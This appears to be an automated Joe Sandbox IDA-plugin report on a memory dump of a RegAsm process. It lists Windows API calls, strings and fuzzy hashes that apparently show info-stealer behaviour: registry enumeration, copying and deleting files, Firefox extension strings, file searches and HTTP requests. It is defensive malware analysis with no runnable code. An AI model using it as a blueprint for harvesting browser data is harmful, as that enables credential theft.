RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegQueryValueExA.KERNEL32(00000000,00C51B18,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
RegQueryValueExA.KERNEL32(00000000,00C51C80,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B24), ref: 00418039
RegCloseKey.KERNEL32(00000000), ref: 004180A8

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

%s\%s, xrefs: 00417EED

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: QueryValue$CloseEnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 1452615360-4073750446
Opcode ID: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction ID: 0d61fbe7999a289fff57b0559f919f0328d455d47faa6f76a7bc41a93025e826
Opcode Fuzzy Hash: 553c2d608a528252f8b38103267033d7da266f1b4f3ba32ca31a7b9f0149bb92
Instruction Fuzzy Hash: 2B211971A0021CABDB24DF54DC85FD9B7B9FB48714F00C199A609A6280DF756AC6CF98

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00C50CB8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00C51D10,00420AE7), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 36a74ea1230075ad71587cbf01b9a030c05e942987fb1e28ab28b29cfef64eb4
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00C50CB8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00C51D10,00420B4F), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: 92c28d119a4a39286c08cee0936eaa303b5a3041168926976e30b3ec55866def
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

^userContextId=4294967295, xrefs: 0040F3DC
moz-extension+++, xrefs: 0040F3ED

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 9f21ac8ec86b3675d1afdf3b7edf4d9d34f6618fc804e98a111b7a094f4869c7
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 004178A0 Relevance: 6.1, APIs: 4, Instructions: 58memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178D7
HeapAlloc.KERNEL32(00000000), ref: 004178DE
RegOpenKeyExA.KERNEL32(80000002,00C4B630,00000000,00020119,?), ref: 004178FE
RegQueryValueExA.KERNEL32(?,00C518E8,00000000,00000000,000000FF,000000FF), ref: 0041791F

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 6.0, APIs: 4, Instructions: 39memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID:
API String ID: 3676486918-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00C4AC18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,00C4AC18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: 169615bdedfb5d787f6769e60abd9e2f586505a8e698abf629eaea21fc03f8f6
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

Function 00414CD0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 004062D0: InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
Part of subcall function 004062D0: StrCmpCA.SHLWAPI(?,00C52860), ref: 00406353
Part of subcall function 004062D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
Part of subcall function 004062D0: HttpOpenRequestA.WININET(00000000,GET,?,00C521F8,00000000,00000000,00400100,00000000), ref: 004063D5
Part of subcall function 004062D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
Part of subcall function 004062D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Strings

ERROR, xrefs: 00414CFA
ERROR, xrefs: 00414D53

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction ID: 9b7a9698bb488a37f3de611b15de8acf20b28e6af01427a962a44d236a29daab
Opcode Fuzzy Hash: fe80463508e9785ce0865d585505720fad5e9a4802b6cc824f03bac98dc2300e
Instruction Fuzzy Hash: 7F113330901108B7CB14FF61DC56AED7338AF50354F90816EF80B5A5A2EF786B95C75A

Function 00414690 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 004146CA
lstrcat.KERNEL32(?,00C513A8), ref: 004146E8

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00C52820), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144E7

Strings

5\A, xrefs: 0041470F, 00414744, 0041477A, 004147AF, 004147E5, 0041481A, 0041483F, 00414712, 00414747, 0041477D, 004147B2, 004147E8, 0041481D

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$wsprintf$Find$FilePath$CloseFirstFolderMatchNextSpec
String ID: 5\A
API String ID: 153043497-3392445751
Opcode ID: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction ID: 53e7b7cde32fa2def73dba0ef3da04c4d4f6f11e0d96676858e1097c5765331f
Opcode Fuzzy Hash: 9ecfcc41d05417c46be071f8fced7ba0760d7249d92c51be67bfcb983b9dd505
Instruction Fuzzy Hash: 1441EBB660010467CB64FB64EC83EEE333DAB84304F40855EB94997191ED795ACD8BE6

Function 00417380 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocComputerNameProcess
String ID:
API String ID: 4203777966-0
Opcode ID: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction ID: 42712b1d228129e2e67f3f866f9c43061177fb5da2658b34d54d74d13c44c576
Opcode Fuzzy Hash: 9cad883e92767d667f7a3bd3c491df47bdb8f8355287bf46401cfbf98ae607a3
Instruction Fuzzy Hash: BC0181B1A08608EBC710CF99DD45BEEBBB8FB04721F20021AF905E3690D7785945CBA5

Function 6C933060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C933095

Part of subcall function 6C9335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BF688,00001000), ref: 6C9335D5
Part of subcall function 6C9335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9335E0
Part of subcall function 6C9335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9335FD
Part of subcall function 6C9335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C93363F
Part of subcall function 6C9335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C93369F
Part of subcall function 6C9335A0: __aulldiv.LIBCMT ref: 6C9336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C93309F

Part of subcall function 6C955B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9556EE,?,00000001), ref: 6C955B85
